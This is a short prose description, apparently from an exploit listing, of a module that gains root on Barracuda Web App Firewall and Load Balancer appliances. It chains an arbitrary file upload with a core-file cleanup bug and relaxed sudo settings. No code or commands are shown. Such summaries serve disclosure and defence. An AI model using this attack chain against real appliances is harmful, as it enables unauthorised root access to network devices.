Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2). This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004 by exploiting two vulnerabilities in the web administration interface. It leverages an Arbitrary File Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean up left-over core files on the device to execute them. By sending a specially crafted request, it's possible to inject system commands while escalating to root due to relaxed sudo configurations on the appliances
